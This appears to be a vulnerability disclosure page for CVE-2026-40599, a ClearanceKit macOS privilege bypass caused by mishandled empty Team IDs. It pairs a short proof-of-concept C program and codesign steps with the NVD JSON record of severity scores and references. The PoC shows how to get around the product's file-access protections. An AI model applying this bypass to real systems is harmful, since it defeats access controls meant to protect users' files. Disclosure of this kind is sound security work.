CVE-2026-40599

/* * PoC for CVE-2026-40599: ClearanceKit Privilege Bypass * * Concept: To exploit this, compile a binary with an empty Team ID * but a non-empty Signing ID. ClearanceKit < 5.0.5 will treat this * as an Apple platform binary. * * Compilation steps (macOS): * 1. clang -o poc_exploit poc_exploit.c * 2. codesign -s "-" --force ./poc_exploit (Ad-hoc signing may trigger specific conditions, * or use a cert with no Team ID) */ #include <stdio.h> #include <stdlib.h> int main() { printf("[+] Starting PoC for CVE-2026-40599\n"); // Attempt to access a protected file path // This would normally be blocked by ClearanceKit for non-Apple processes const char* protected_file = "/System/Library/Protected/TargetFile"; FILE *fp = fopen(protected_file, "r"); if (fp) { printf("[!] SUCCESS: Accessed protected file: %s\n", protected_file); printf("[!] ClearanceKit failed to block the process.\n"); fclose(fp); } else { printf("[-] Failed to access file (may not exist or patched).\n"); } return 0; }

{"cve": {"id": "CVE-2026-40599", "sourceIdentifier": "[email protected]", "published": "2026-04-21T18:16:51.693", "lastModified": "2026-04-24T20:50:42.683", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ClearanceKit intercepts file-system access events on macOS and enforces per-process access policies. Prior to 5.0.5, ClearanceKit incorrectly treats a process with an empty Team ID and a non-empty Signing ID as an Apple platform binary. This bug allows a malicious software to impersonate an apple process in the global allowlist, and access all protected files. This vulnerability is fixed in 5.0.5."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:craigjbass:clearancekit:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.0.5", "matchCriteriaId": "FE778DA8-51A8-4F52-B888-A0242BD70CCA"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}]}]}], "references": [{"url": "https://github.com/craigjbass/clearancekit/security/advisories/GHSA-w253-42qp-5f2x", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/craigjbass/clearancekit/security/advisories/GHSA-w253-42qp-5f2x", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}